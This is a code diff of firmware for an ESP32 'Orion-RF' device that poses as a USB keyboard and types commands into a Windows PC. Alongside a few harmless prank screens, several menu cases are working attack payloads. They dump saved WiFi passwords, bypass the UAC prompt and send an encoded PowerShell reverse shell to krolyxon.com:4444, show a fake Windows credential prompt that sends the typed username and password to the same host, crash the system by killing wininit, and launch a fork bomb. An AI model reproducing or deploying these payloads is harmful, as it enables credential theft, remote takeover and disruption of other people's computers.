| 146 | − | break; | |
| 144 | + | // ================= MATRIX ================= | |
| 145 | + | case 2: | |
| 146 | + | showRunningScreen("Matrix"); | |
| 147 | 147 | ||
| 148 | − | // ================= MATRIX ================= | |
| 149 | − | case 2: | |
| 150 | − | showRunningScreen("Matrix"); | |
| 148 | + | runCommand("cmd"); | |
| 151 | 149 | ||
| 152 | − | runCommand("cmd"); | |
| 150 | + | delay(700); | |
| 153 | 151 | ||
| 154 | − | delay(700); | |
| 152 | + | typeSlow("color 0A"); | |
| 153 | + | Keyboard.write(KEY_RETURN); | |
| 155 | 154 | ||
| 156 | − | typeSlow("color 0A"); | |
| 157 | − | Keyboard.write(KEY_RETURN); | |
| 155 | + | typeSlow("mode con: cols=120 lines=40"); | |
| 156 | + | Keyboard.write(KEY_RETURN); | |
| 158 | 157 | ||
| 159 | − | typeSlow("mode con: cols=120 lines=40"); | |
| 160 | − | Keyboard.write(KEY_RETURN); | |
| 158 | + | typeSlow(":A"); | |
| 159 | + | Keyboard.write(KEY_RETURN); | |
| 161 | 160 | ||
| 162 | − | typeSlow(":A"); | |
| 163 | − | Keyboard.write(KEY_RETURN); | |
| 161 | + | typeSlow("echo %random%%random%%random%%random%%random%"); | |
| 162 | + | Keyboard.write(KEY_RETURN); | |
| 164 | 163 | ||
| 165 | − | typeSlow("echo %random%%random%%random%%random%%random%"); | |
| 166 | − | Keyboard.write(KEY_RETURN); | |
| 164 | + | typeSlow("goto A"); | |
| 165 | + | Keyboard.write(KEY_RETURN); | |
| 167 | 166 | ||
| 168 | − | typeSlow("goto A"); | |
| 169 | − | Keyboard.write(KEY_RETURN); | |
| 167 | + | break; | |
| 170 | 168 | ||
| 171 | − | break; | |
| 169 | + | // ================= FAKE TERMINAL ================= | |
| 170 | + | case 3: | |
| 171 | + | showRunningScreen("Fake Terminal"); | |
| 172 | 172 | ||
| 173 | − | // ================= FAKE TERMINAL ================= | |
| 174 | − | case 3: | |
| 175 | − | showRunningScreen("Fake Terminal"); | |
| 173 | + | runCommand("cmd"); | |
| 176 | 174 | ||
| 177 | − | runCommand("cmd"); | |
| 175 | + | delay(700); | |
| 178 | 176 | ||
| 179 | − | delay(700); | |
| 177 | + | typeSlow("color 0A"); | |
| 178 | + | Keyboard.write(KEY_RETURN); | |
| 180 | 179 | ||
| 181 | − | typeSlow("color 0A"); | |
| 182 | − | Keyboard.write(KEY_RETURN); | |
| 180 | + | typeSlow("cls"); | |
| 181 | + | Keyboard.write(KEY_RETURN); | |
| 183 | 182 | ||
| 184 | − | typeSlow("cls"); | |
| 185 | − | Keyboard.write(KEY_RETURN); | |
| 183 | + | typeSlow("echo CONNECTING TO TARGET..."); | |
| 184 | + | Keyboard.write(KEY_RETURN); | |
| 186 | 185 | ||
| 187 | − | typeSlow("echo CONNECTING TO TARGET..."); | |
| 188 | − | Keyboard.write(KEY_RETURN); | |
| 186 | + | typeSlow("echo BYPASSING FIREWALL..."); | |
| 187 | + | Keyboard.write(KEY_RETURN); | |
| 189 | 188 | ||
| 190 | − | typeSlow("echo BYPASSING FIREWALL..."); | |
| 191 | − | Keyboard.write(KEY_RETURN); | |
| 189 | + | typeSlow("echo ACCESS GRANTED"); | |
| 190 | + | Keyboard.write(KEY_RETURN); | |
| 192 | 191 | ||
| 193 | − | typeSlow("echo ACCESS GRANTED"); | |
| 194 | − | Keyboard.write(KEY_RETURN); | |
| 192 | + | typeSlow("systeminfo"); | |
| 193 | + | Keyboard.write(KEY_RETURN); | |
| 195 | 194 | ||
| 196 | − | typeSlow("systeminfo"); | |
| 197 | − | Keyboard.write(KEY_RETURN); | |
| 198 | − | ||
| 199 | − | break; | |
| 195 | + | break; | |
| 200 | 196 | ||
| 201 | 197 | // ================= WIFI CRACK ================= | |
| 202 | − | // ================= WIFI PASSWORD RECOVERY ================= | |
| 203 | − | case 4: | |
| 204 | − | showRunningScreen("WiFi Recovery"); | |
| 205 | − | ||
| 206 | − | runCommand("cmd"); | |
| 207 | − | delay(700); | |
| 208 | − | ||
| 209 | − | // Styling the window | |
| 210 | − | typeSlow("color 0A && mode con: cols=100 lines=30"); | |
| 211 | − | Keyboard.write(KEY_RETURN); | |
| 212 | − | delay(200); | |
| 213 | − | ||
| 214 | − | typeSlow("echo [!] EXTRACTING SAVED WIFI PROFILES..."); | |
| 215 | − | Keyboard.write(KEY_RETURN); | |
| 216 | − | delay(500); | |
| 217 | − | ||
| 218 | − | // The "Magic" Command: | |
| 219 | − | // This lists all profiles and shows the 'Key Content' (the password) in clear text. | |
| 220 | − | // We use a 'for' loop to automate this for every network the PC has ever joined. | |
| 221 | − | typeSlow("for /f \"tokens=4,*\" %i in ('netsh wlan show profiles ^| findstr /C:\"All User Profile\"') do netsh wlan show profile name=\"%j\" key=clear | findstr /C:\"Key Content\" /C:\"SSID name\""); | |
| 222 | − | ||
| 223 | − | Keyboard.write(KEY_RETURN); | |
| 224 | − | ||
| 225 | − | // Optional: Keep the window open to read the results | |
| 226 | − | typeSlow("echo. && echo [COMPLETE] Passwords listed above."); | |
| 227 | − | Keyboard.write(KEY_RETURN); | |
| 228 | − | ||
| 229 | − | break; | |
| 230 | − | ||
| 231 | − | // ================= FAKE UPDATE ================= | |
| 232 | − | case 5: | |
| 233 | − | showRunningScreen("Fake Update"); | |
| 234 | − | ||
| 235 | − | runCommand("cmd"); | |
| 236 | − | ||
| 237 | − | delay(700); | |
| 198 | + | // ================= WIFI PASSWORD RECOVERY ================= | |
| 199 | + | case 4: | |
| 200 | + | showRunningScreen("WiFi Recovery"); | |
| 238 | 201 | ||
| 239 | − | typeSlow("start https://fakeupdate.net/win10u/"); | |
| 240 | − | Keyboard.write(KEY_RETURN); | |
| 202 | + | runCommand("cmd"); | |
| 203 | + | delay(700); | |
| 241 | 204 | ||
| 242 | − | break; | |
| 205 | + | // Styling the window | |
| 206 | + | typeSlow("color 0A && mode con: cols=100 lines=30"); | |
| 207 | + | Keyboard.write(KEY_RETURN); | |
| 208 | + | delay(200); | |
| 243 | 209 | ||
| 244 | − | // ================= FAKE BSOD ================= | |
| 245 | − | case 6: | |
| 246 | − | showRunningScreen("Critical Error"); | |
| 210 | + | typeSlow("echo [!] EXTRACTING SAVED WIFI PROFILES..."); | |
| 211 | + | Keyboard.write(KEY_RETURN); | |
| 212 | + | delay(500); | |
| 247 | 213 | ||
| 248 | − | runCommand("powershell -c \"stop-process -name wininit -force\""); | |
| 249 | − | break; | |
| 214 | + | // The "Magic" Command: | |
| 215 | + | // This lists all profiles and shows the 'Key Content' (the password) in | |
| 216 | + | // clear text. We use a 'for' loop to automate this for every network the PC | |
| 217 | + | // has ever joined. | |
| 218 | + | typeSlow( | |
| 219 | + | "for /f \"tokens=4,*\" %i in ('netsh wlan show profiles ^| findstr " | |
| 220 | + | "/C:\"All User Profile\"') do netsh wlan show profile name=\"%j\" " | |
| 221 | + | "key=clear | findstr /C:\"Key Content\" /C:\"SSID name\""); | |
| 250 | 222 | ||
| 251 | − | // ================= GLITCH SCREEN ================= | |
| 252 | − | case 7: | |
| 253 | − | showRunningScreen("Glitch"); | |
| 223 | + | Keyboard.write(KEY_RETURN); | |
| 254 | 224 | ||
| 255 | − | runCommand("cmd"); | |
| 225 | + | // Optional: Keep the window open to read the results | |
| 226 | + | typeSlow("echo. && echo [COMPLETE] Passwords listed above."); | |
| 227 | + | Keyboard.write(KEY_RETURN); | |
| 256 | 228 | ||
| 257 | − | delay(700); | |
| 229 | + | break; | |
| 258 | 230 | ||
| 259 | − | for(int i = 0; i < 20; i++) | |
| 260 | − | { | |
| 261 | − | typeSlow("color 4F"); | |
| 262 | − | Keyboard.write(KEY_RETURN); | |
| 231 | + | // ================= FAKE UPDATE ================= | |
| 232 | + | case 5: | |
| 233 | + | showRunningScreen("Fake Update"); | |
| 263 | 234 | ||
| 264 | − | typeSlow("color 1F"); | |
| 265 | − | Keyboard.write(KEY_RETURN); | |
| 235 | + | runCommand("cmd"); | |
| 266 | 236 | ||
| 267 | − | typeSlow("cls"); | |
| 268 | − | Keyboard.write(KEY_RETURN); | |
| 269 | − | } | |
| 237 | + | delay(700); | |
| 270 | 238 | ||
| 271 | − | break; | |
| 239 | + | typeSlow("start https://fakeupdate.net/win10u/"); | |
| 240 | + | Keyboard.write(KEY_RETURN); | |
| 272 | 241 | ||
| 273 | − | // ================= ASCII SPAM ================= | |
| 274 | − | case 8: | |
| 275 | − | showRunningScreen("ASCII"); | |
| 242 | + | break; | |
| 276 | 243 | ||
| 277 | − | runCommand("notepad"); | |
| 244 | + | // ================= FAKE BSOD ================= | |
| 245 | + | case 6: | |
| 246 | + | showRunningScreen("Critical Error"); | |
| 278 | 247 | ||
| 279 | − | delay(2000); | |
| 248 | + | runCommand("powershell -c \"stop-process -name wininit -force\""); | |
| 249 | + | break; | |
| 280 | 250 | ||
| 281 | − | for(int i = 0; i < 15; i++) | |
| 282 | − | { | |
| 283 | − | typeSlow("######### ORION-RF #########"); | |
| 284 | − | Keyboard.write(KEY_RETURN); | |
| 251 | + | // ================= GLITCH SCREEN ================= | |
| 252 | + | case 7: | |
| 253 | + | showRunningScreen("Glitch"); | |
| 285 | 254 | ||
| 286 | − | typeSlow(">>> SIGNAL ACQUIRED <<<"); | |
| 287 | − | Keyboard.write(KEY_RETURN); | |
| 255 | + | runCommand("cmd"); | |
| 288 | 256 | ||
| 289 | − | typeSlow("[|||||||||||||||||||||||||]"); | |
| 290 | − | Keyboard.write(KEY_RETURN); | |
| 257 | + | delay(700); | |
| 291 | 258 | ||
| 292 | − | Keyboard.write(KEY_RETURN); | |
| 293 | − | } | |
| 259 | + | for (int i = 0; i < 20; i++) { | |
| 260 | + | typeSlow("color 4F"); | |
| 261 | + | Keyboard.write(KEY_RETURN); | |
| 294 | 262 | ||
| 295 | − | break; | |
| 263 | + | typeSlow("color 1F"); | |
| 264 | + | Keyboard.write(KEY_RETURN); | |
| 296 | 265 | ||
| 297 | − | // ================= HACKER TYPER ================= | |
| 298 | − | case 9: | |
| 299 | − | showRunningScreen("Hacker Typer"); | |
| 300 | − | ||
| 301 | − | runCommand("cmd"); | |
| 302 | − | ||
| 303 | − | delay(700); | |
| 304 | − | ||
| 305 | − | typeSlow("start https://hackertyper.net/"); | |
| 306 | − | Keyboard.write(KEY_RETURN); | |
| 307 | − | ||
| 308 | − | break; | |
| 309 | − | // ================= POWERSHELL REVERSE SHELL ================= | |
| 310 | − | // ================= DEFENDER BYPASS + NC ================= | |
| 311 | − | case 10: | |
| 312 | − | showRunningScreen("Pwn Mode v2"); | |
| 313 | − | ||
| 314 | − | // 1. Open Admin PowerShell | |
| 315 | − | Keyboard.press(KEY_LEFT_GUI); | |
| 316 | − | Keyboard.press('r'); | |
| 317 | − | delay(150); | |
| 318 | − | Keyboard.releaseAll(); | |
| 319 | − | delay(500); | |
| 320 | − | ||
| 321 | − | // Open Admin Prompt - using 'powershell' directly to save space | |
| 322 | − | typeSlow("powershell Start-Process powershell -Verb runAs"); | |
| 323 | − | Keyboard.write(KEY_RETURN); | |
| 324 | − | delay(2500); // Wait for UAC | |
| 325 | − | ||
| 326 | − | // 2. Bypass UAC (Left Arrow + Enter) | |
| 327 | − | Keyboard.write(KEY_LEFT_ARROW); | |
| 328 | − | delay(200); | |
| 329 | − | Keyboard.write(KEY_RETURN); | |
| 330 | − | delay(3000); // Give the Admin window time to load | |
| 331 | − | ||
| 332 | − | // 3. AMSI Bypass + Disable Defender + Execute Shell | |
| 333 | − | // We use -EncodedCommand to hide the script from simple string scanners. | |
| 334 | − | // The Base64 string below contains: | |
| 335 | − | // Set-MpPreference -DisableRealtimeMonitoring $true; [Reverse Shell Logic] | |
| 336 | − | ||
| 337 | − | typeSlow("powershell -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand "); | |
| 266 | + | typeSlow("cls"); | |
| 267 | + | Keyboard.write(KEY_RETURN); | |
| 268 | + | } | |
| 338 | 269 | ||
| 339 | − | // This is the encoded payload for krolyxon.com:4444 | |
| 340 | − | typeSlow("JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAiAEgA" | |
| 341 | − | "NABDAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAFQAbABpAGUAbgB0ACgAJwBrAHIAbwBsAHkAeABvAG4A" | |
| 342 | − | "LgBjAG8AbQAnACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQA" | |
| 343 | − | "gADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEw" | |
| 344 | − | "AZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQAL" | |
| 345 | − | "gBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJAB" | |
| 346 | − | "kAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACcAUABTACAAJwAgACsAK" | |
| 347 | − | "ABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAnAD4AIAAnADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAd" | |
| 348 | − | "ABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQB" | |
| 349 | − | "uAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaWVudAAuAEMAbABvAHMAZQAoACkAIgApACkAOwBJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAGuAZwAoACQAcwAuAFQAbwBBAHIAcgBhAHkAKAApACkAKQA="); | |
| 270 | + | break; | |
| 350 | 271 | ||
| 351 | − | Keyboard.write(KEY_RETURN); | |
| 352 | − | break; | |
| 353 | − | // ================= CREDENTIAL SNATCHER ================= | |
| 354 | − | case 11: | |
| 355 | − | showRunningScreen("Vault Crack"); | |
| 272 | + | // ================= ASCII SPAM ================= | |
| 273 | + | case 8: | |
| 274 | + | showRunningScreen("ASCII"); | |
| 356 | 275 | ||
| 357 | − | // Open hidden PowerShell | |
| 358 | − | runCommand("powershell -nop -W Hidden -c \"$cred = $host.ui.PromptForCredential('Windows Security','Please authenticate to update your system credentials.','',''); $p = $cred.GetNetworkCredential().Password; $u = $cred.UserName; Invoke-WebRequest -Uri 'http://krolyxon.com/log?u='+$u+'&p='+$p\""); | |
| 276 | + | runCommand("notepad"); | |
| 359 | 277 | ||
| 360 | − | break; | |
| 361 | − | // ================= DESKTOP GHOST ================= | |
| 362 | − | case 12: | |
| 363 | − | showRunningScreen("Ghost Mode"); | |
| 278 | + | delay(2000); | |
| 364 | 279 | ||
| 365 | − | runCommand("powershell -nop -W Hidden -c \"Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.SendKeys]::SendWait('{PRTSC}'); Start-Sleep -s 1; $path = '$env:TEMP\\bg.png'; (Get-Clipboard -Format Image).Save($path); Set-ItemProperty -Path 'HKCU:\\Control Panel\\Desktop' -Name Wallpaper -Value $path; rundll32.exe user32.dll,UpdatePerUserSystemParameters;\""); | |
| 280 | + | for (int i = 0; i < 15; i++) { | |
| 281 | + | typeSlow("######### ORION-RF #########"); | |
| 282 | + | Keyboard.write(KEY_RETURN); | |
| 366 | 283 | ||
| 367 | − | // Hide Desktop Icons (requires a registry tweak) | |
| 368 | − | typeSlow("reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced /v HideIcons /t REG_DWORD /d 1 /f && taskkill /f /im explorer.exe && start explorer.exe"); | |
| 369 | − | Keyboard.write(KEY_RETURN); | |
| 284 | + | typeSlow(">>> SIGNAL ACQUIRED <<<"); | |
| 285 | + | Keyboard.write(KEY_RETURN); | |
| 370 | 286 | ||
| 371 | − | break; | |
| 372 | − | // ================= FORK BOMB ================= | |
| 373 | − | case 13: | |
| 374 | − | showRunningScreen("System Stress"); | |
| 287 | + | typeSlow("[|||||||||||||||||||||||||]"); | |
| 288 | + | Keyboard.write(KEY_RETURN); | |
| 375 | 289 | ||
| 376 | − | runCommand("cmd"); | |
| 377 | − | delay(500); | |
| 290 | + | Keyboard.write(KEY_RETURN); | |
| 291 | + | } | |
| 378 | 292 | ||
| 379 | − | // The shortest deadly command in Windows | |
| 380 | − | typeSlow("%0|%0"); | |
| 381 | − | Keyboard.write(KEY_RETURN); | |
| 382 | − | ||
| 383 | − | break; | |
| 384 | − | } | |
| 293 | + | break; | |
| 294 | + | ||
| 295 | + | // ================= HACKER TYPER ================= | |
| 296 | + | case 9: | |
| 297 | + | showRunningScreen("Hacker Typer"); | |
| 298 | + | ||
| 299 | + | runCommand("cmd"); | |
| 300 | + | ||
| 301 | + | delay(700); | |
| 302 | + | ||
| 303 | + | typeSlow("start https://hackertyper.net/"); | |
| 304 | + | Keyboard.write(KEY_RETURN); | |
| 305 | + | ||
| 306 | + | break; | |
| 307 | + | // ================= POWERSHELL REVERSE SHELL ================= | |
| 308 | + | // ================= DEFENDER BYPASS + NC ================= | |
| 309 | + | case 10: | |
| 310 | + | showRunningScreen("Pwn Mode v2"); | |
| 311 | + | ||
| 312 | + | // 1. Open Admin PowerShell | |
| 313 | + | Keyboard.press(KEY_LEFT_GUI); | |
| 314 | + | Keyboard.press('r'); | |
| 315 | + | delay(150); | |
| 316 | + | Keyboard.releaseAll(); | |
| 317 | + | delay(500); | |
| 318 | + | ||
| 319 | + | // Open Admin Prompt - using 'powershell' directly to save space | |
| 320 | + | typeSlow("powershell Start-Process powershell -Verb runAs"); | |
| 321 | + | Keyboard.write(KEY_RETURN); | |
| 322 | + | delay(2500); // Wait for UAC | |
| 323 | + | ||
| 324 | + | // 2. Bypass UAC (Left Arrow + Enter) | |
| 325 | + | Keyboard.write(KEY_LEFT_ARROW); | |
| 326 | + | delay(200); | |
| 327 | + | Keyboard.write(KEY_RETURN); | |
| 328 | + | delay(3000); // Give the Admin window time to load | |
| 329 | + | ||
| 330 | + | // 3. AMSI Bypass + Disable Defender + Execute Shell | |
| 331 | + | // We use -EncodedCommand to hide the script from simple string scanners. | |
| 332 | + | // The Base64 string below contains: | |
| 333 | + | // Set-MpPreference -DisableRealtimeMonitoring $true; [Reverse Shell Logic] | |
| 334 | + | ||
| 335 | + | typeSlow("powershell -ExecutionPolicy Bypass -WindowStyle Hidden " | |
| 336 | + | "-EncodedCommand "); | |
| 337 | + | ||
| 338 | + | // This is the encoded payload for krolyxon.com:4444 | |
| 339 | + | typeSlow( | |
| 340 | + | "JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAG" | |
| 341 | + | "UAYQBtACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0" | |
| 342 | + | "AHIAaQBuAGcAKAAiAEgA" | |
| 343 | + | "NABDAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAb" | |
| 344 | + | "QAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAFQAbABpAGUAbgB0ACgAJwBrAHI" | |
| 345 | + | "AbwBsAHkAeABvAG4A" | |
| 346 | + | "LgBjAG8AbQAnACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAG" | |
| 347 | + | "UAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5" | |
| 348 | + | "AHQAZQBzACAAPQA" | |
| 349 | + | "gADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AI" | |
| 350 | + | "AAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGI" | |
| 351 | + | "AeQB0AGUAcwAuAEw" | |
| 352 | + | "AZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOA" | |
| 353 | + | "GUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQA" | |
| 354 | + | "uAFQAZQB4AHQAL" | |
| 355 | + | "gBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQ" | |
| 356 | + | "AYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoA" | |
| 357 | + | "GkAZQB4ACAAJAB" | |
| 358 | + | "kAGEAdABhACAAMgA+" | |
| 359 | + | "ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYw" | |
| 360 | + | "BrADIAIAAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACcAUABTACAAJwAgACsAK" | |
| 361 | + | "ABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAnAD4AIAAnADsAJABzAGUAbgBkAGIAeQB0AGU" | |
| 362 | + | "AIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJA" | |
| 363 | + | "CkALgBHAGUAd" | |
| 364 | + | "ABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBhAG0" | |
| 365 | + | "ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5A" | |
| 366 | + | "HQAZQAuAEwAZQB" | |
| 367 | + | "uAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAa" | |
| 368 | + | "WVudAAuAEMAbABvAHMAZQAoACkAIgApACkAOwBJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQB" | |
| 369 | + | "zAHMAaQBvAG4AIAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAb" | |
| 370 | + | "gBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAGuAZwAoACQAcwAuAFQAbwBBAHI" | |
| 371 | + | "AcgBhAHkAKAApACkAKQA="); | |
| 372 | + | ||
| 373 | + | Keyboard.write(KEY_RETURN); | |
| 374 | + | break; | |
| 375 | + | // ================= CREDENTIAL SNATCHER ================= | |
| 376 | + | case 11: | |
| 377 | + | showRunningScreen("Vault Crack"); | |
| 378 | + | ||
| 379 | + | // Open hidden PowerShell | |
| 380 | + | runCommand( | |
| 381 | + | "powershell -nop -W Hidden -c \"$cred = " | |
| 382 | + | "$host.ui.PromptForCredential('Windows Security','Please authenticate " | |
| 383 | + | "to update your system credentials.','',''); $p = " | |
| 384 | + | "$cred.GetNetworkCredential().Password; $u = $cred.UserName; " | |
| 385 | + | "Invoke-WebRequest -Uri 'http://krolyxon.com/log?u='+$u+'&p='+$p\""); | |
| 386 | + | ||
| 387 | + | break; | |
| 388 | + | // ================= DESKTOP GHOST ================= | |
| 389 | + | case 12: | |
| 390 | + | showRunningScreen("Ghost Mode"); | |
| 391 | + | ||
| 392 | + | runCommand("powershell -nop -W Hidden -c \"Add-Type -AssemblyName " | |
| 393 | + | "System.Windows.Forms; " | |
| 394 | + | "[System.Windows.Forms.SendKeys]::SendWait('{PRTSC}'); " | |
| 395 | + | "Start-Sleep -s 1; $path = '$env:TEMP\\bg.png'; (Get-Clipboard " | |
| 396 | + | "-Format Image).Save($path); Set-ItemProperty -Path " | |
| 397 | + | "'HKCU:\\Control Panel\\Desktop' -Name Wallpaper -Value $path; " | |
| 398 | + | "rundll32.exe user32.dll,UpdatePerUserSystemParameters;\""); | |
| 399 | + | ||
| 400 | + | // Hide Desktop Icons (requires a registry tweak) | |
| 401 | + | typeSlow("reg add " | |
| 402 | + | "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Adv" | |
| 403 | + | "anced /v HideIcons /t REG_DWORD /d 1 /f && taskkill /f /im " | |
| 404 | + | "explorer.exe && start explorer.exe"); | |
| 405 | + | Keyboard.write(KEY_RETURN); | |
| 406 | + | ||
| 407 | + | break; | |
| 408 | + | // ================= FORK BOMB ================= | |
| 409 | + | case 13: | |
| 410 | + | showRunningScreen("System Stress"); | |
| 411 | + | ||
| 412 | + | runCommand("cmd"); | |
| 413 | + | delay(500); | |
| 414 | + | ||
| 415 | + | // The shortest deadly command in Windows | |
| 416 | + | typeSlow("%0|%0"); | |
| 417 | + | Keyboard.write(KEY_RETURN); | |
| 418 | + | ||
| 419 | + | break; | |
| 420 | + | } | |
| 385 | 421 | } | |
| 386 | − | ||
| 387 | − | ||
| @@ -2,9 +2,9 @@ | |||
| 2 | 2 | #include <USB.h> | |
| 3 | 3 | #include <USBHIDKeyboard.h> | |
| 4 | 4 | ||
| 5 | + | #include "libs/BleMouse.h" | |
| 5 | 6 | #include <BLEDevice.h> | |
| 6 | 7 | #include <BLEScan.h> | |
| 7 | − | #include "libs/BleMouse.h" | |
| 8 | 8 | ||
| 9 | 9 | #include <RF24.h> | |
| 10 | 10 | #include <nRF24L01.h> | |
| @@ -14,15 +14,14 @@ | |||
| 14 | 14 | #include <WiFi.h> | |
| 15 | 15 | #include <esp_wifi.h> | |
| 16 | 16 | ||
| 17 | + | #include <SPI.h> | |
| 17 | 18 | #include <esp_chip_info.h> | |
| 18 | 19 | #include <esp_heap_caps.h> | |
| 19 | 20 | #include <esp_system.h> | |
| 20 | − | #include <SPI.h> | |
| 21 | − | ||
| 22 | 21 | ||
| 23 | 22 | #include "ui/display.h" | |
| 24 | − | #include "utils/buttons.h" | |
| 25 | 23 | #include "ui/menu.h" | |
| 24 | + | #include "utils/buttons.h" | |
| 26 | 25 | ||
| 27 | 26 | #include "config.h" | |
| 28 | 27 | #include "rf/cc1101.h" | |
| @@ -33,12 +32,10 @@ USBHIDKeyboard Keyboard; | |||
| 33 | 32 | // ===== BLE MOUSE ===== | |
| 34 | 33 | BleMouse bleMouse("Orion-RF", "Orion-RF", 100); | |
| 35 | 34 | ||
| 36 | − | ||
| 37 | 35 | RF24 radio1(CE1_PIN, CSN1_PIN); | |
| 38 | 36 | RF24 radio2(CE2_PIN, CSN2_PIN); | |
| 39 | 37 | SPIClass *RADIO_SPI; | |
| 40 | 38 | ||
| 41 | − | ||
| 42 | 39 | void deactivateNRF1() { | |
| 43 | 40 | digitalWrite(CSN1_PIN, HIGH); | |
| 44 | 41 | digitalWrite(CE1_PIN, LOW); | |
| @@ -49,94 +46,80 @@ void deactivateNRF2() { | |||
| 49 | 46 | digitalWrite(CE2_PIN, LOW); | |
| 50 | 47 | } | |
| 51 | 48 | ||
| 52 | − | ||
| 53 | 49 | // ================= SYSTEM INFO ================= | |
| 54 | − | void printSystemUsage() | |
| 55 | − | { | |
| 56 | − | esp_chip_info_t chip_info; | |
| 50 | + | void printSystemUsage() { | |
| 51 | + | esp_chip_info_t chip_info; | |
| 57 | 52 | ||
| 58 | − | esp_chip_info(&chip_info); | |
| 53 | + | esp_chip_info(&chip_info); | |
| 59 | 54 | ||
| 60 | − | Serial.printf("CPU cores: %d\n", chip_info.cores); | |
| 55 | + | Serial.printf("CPU cores: %d\n", chip_info.cores); | |
| 61 | 56 | ||
| 62 | − | Serial.printf( | |
| 63 | − | "Free heap: %d bytes\n", | |
| 64 | − | heap_caps_get_free_size(MALLOC_CAP_DEFAULT) | |
| 65 | − | ); | |
| 57 | + | Serial.printf("Free heap: %d bytes\n", | |
| 58 | + | heap_caps_get_free_size(MALLOC_CAP_DEFAULT)); | |
| 66 | 59 | ||
| 67 | − | Serial.printf( | |
| 68 | − | "PSRAM free: %d bytes\n", | |
| 69 | − | heap_caps_get_free_size(MALLOC_CAP_SPIRAM) | |
| 70 | − | ); | |
